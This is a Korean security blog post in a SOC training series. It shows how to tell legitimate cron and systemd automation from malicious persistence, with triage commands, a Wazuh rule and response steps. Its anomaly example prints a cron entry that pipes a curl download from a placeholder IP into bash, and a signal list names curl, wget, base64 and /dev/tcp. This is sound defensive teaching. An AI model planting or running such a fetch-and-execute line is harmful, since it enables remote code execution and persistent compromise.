407. 지속성·재침투 — 정상 자동화와 악성 지속성의 구분

changseop lee·4일 전

시스템 보안 · 취약점

목록 보기
407/450

시스템 보안 · 취약점 › I. 지속성 · 재침투 징후 · 7/50편 (전체 407/450)
학습 단계: 지속성·재침투 기본 개념
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

cron·systemd·SSH 키는 운영팀도 매일 쓰는 정상 도구입니다. 그래서 지속성 탐지의 가장 큰 어려움은 "악성 자동 실행"과 "정상 자동화"를 가려내는 것입니다.

정상 자동화 vs 악성 지속성
          정상 자동화                 악성 지속성
 작성자   패키지·구성관리(Ansible)    대화형 세션의 사용자
 위치     패키지 소유 경로            임의 파일명·숨김 파일
 내용     로컬 스크립트·명확한 목적   외부 다운로드·인코딩·셸
 이력     변경 티켓·커밋               기록 없음
 시점     배포 창                      업무 외·침투 직후

핵심: "누가, 어떤 경로로 만들었나"가 가장 강한 구분 기준

한 가지 기준으로 판단하지 말고 작성자·위치·내용·이력·시점 다섯 축을 함께 보면 오탐을 크게 줄일 수 있습니다.

2. 왜 중요한가

  • 정상 자동화를 악성으로 판정하면 운영 장애와 불필요한 에스컬레이션이 생깁니다.
  • 공격자는 정상 자동화처럼 보이도록 이름·위치를 위장합니다.
  • 구분 기준이 문서화되어 있어야 관제원마다 판정이 달라지지 않습니다.

3. 핵심 명령어 / 설정

확인 항목명령정상 신호
패키지 소유rpm -qf <file> / dpkg -S <file>패키지 소유
작성 주체ausearch -k persist -f <file>auid=구성관리 계정
내용cat, strings로컬 경로·명확한 목적
변경 이력티켓·Git 로그승인 기록 존재

4. 실습 (실습 예시)

# 의심 cron 파일의 출처 확인 (분석 방법)
F=/etc/cron.d/sys-update
rpm -qf "$F" 2>/dev/null || dpkg -S "$F" 2>/dev/null || echo "패키지 소유 아님"
sudo ausearch -k persist_cron -f "$F" -i 2>/dev/null | grep -E 'auid=|exe=|comm=' | head
sudo cat "$F"
# 구성관리 도구가 배포한 파일인지 확인(예: Ansible 관리 주석)
grep -i 'ansible managed' "$F"

5. 정상 상태

/etc/cron.d/sysstat  → sysstat 패키지 소유
내용: */10 * * * * root /usr/lib64/sa/sa1 1 1
auid=deploy (Ansible), 변경 티켓 CHG-1042

패키지 또는 구성관리 계정이 만들었고, 내용이 로컬 바이너리를 가리키며, 변경 기록이 있는 상태는 정상 자동화로 판단합니다.

6. 이상 상태

/etc/cron.d/sys-update → 패키지 소유 아님
내용: */5 * * * * root curl -fsSL http://198.51.100.7/u | bash
auid=webadmin, comm="vi", 03:12 작성, 티켓 없음
  • 패키지 미소유 + 대화형 편집기(vi)로 작성 → 수동 생성
  • 외부 다운로드 후 셸 파이프 실행 → 악성 패턴
  • 업무 외 시간·변경 기록 없음 → 악성 지속성으로 판정

7. 로그 분석 (분석 방법)

정상/악성 구분 흐름입니다(가상의 예시).

[신규 자동 실행 발견]
   ↓
① 패키지 소유? ──예──→ 패키지 검증(rpm -V)으로 변조 여부 확인
   ↓ 아니오
② 작성자 = 구성관리 계정? ──예──→ 배포 기록 대조
   ↓ 아니오
③ 내용에 외부 다운로드·인코딩·셸? ──예──→ 악성 판정
   ↓
④ 변경 기록 없음 + 업무 외 → 악성 가능성 높음
축악성 신호
작성자대화형 세션 사용자
위치숨김·임의 파일명
내용curl/wget·base64·/dev/tcp
이력·시점기록 없음·업무 외

패키지 소유 파일이라도 내용이 변조될 수 있으므로 rpm -V로 해시 검증까지 해야 "정상"으로 닫을 수 있습니다.

8. SOC 관제 포인트

  • 구성관리·배포 계정 목록을 화이트리스트로 관리해 1차 분류에 씁니다.
  • 화이트리스트 계정이라도 내용에 외부 다운로드가 있으면 예외 없이 확인합니다.
  • 판정 근거(다섯 축)를 티켓에 남겨 같은 유형의 판정을 일관되게 합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_i,persistence,">
  <rule id="108060" level="12">
    <if_sid>108000</if_sid>
    <field name="audit.key" type="pcre2">^persist_</field>
    <field name="audit.exe" type="pcre2">/(vi|vim|nano|tee|echo|cp|mv)$</field>
    <description>대화형 도구로 지속성 위치 수정(구성관리 외 수동 생성 의심)</description>
    <mitre><id>TA0003</id></mitre>
  </rule>
</group>

구성관리 도구가 아닌 편집기·셸 도구로 지속성 위치가 수정되면 수동 생성 가능성이 높으므로 레벨을 높여 경보합니다. 구성관리 계정(auid)은 예외 룰로 분리합니다.

10. 대응 방법

  1. 초기 확인 — 작성자·위치·내용·이력·시점 다섯 축을 확인합니다.
  2. 범위 확인 — 같은 작성자가 다른 지속성 위치도 수정했는지 확인합니다.
  3. 증거 확보 — 파일 사본·auditd 기록·변경 티켓 조회 결과를 보존합니다.
  4. 차단/조치 — 악성 판정 시 해당 자동 실행을 비활성화하고 작성 계정을 조사합니다.
  5. 재발 방지 — 구성관리 계정 화이트리스트와 변경 승인 연동을 정비합니다.

11. 핵심 정리

축정상악성
작성자패키지·구성관리대화형 사용자
내용로컬 스크립트외부 다운로드·셸
이력티켓 있음기록 없음
면접 포인트"정상 자동화와 지속성은 같은 도구 — 작성 주체와 변경 이력으로 가른다"

12. 다음 편 예고

다음 편 408. 지속성·재침투 — 지속성·재침투 판정 기준 에서는 지속성·재침투 Alert를 정탐·오탐·정상 행위로 판정하는 6축 기준과 위험도 산정, 판정 기록 템플릿을 다룹니다.


이전 편: 406. 지속성·재침투 — 재침투(re-entry) 경로의 유형과 분석 축
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글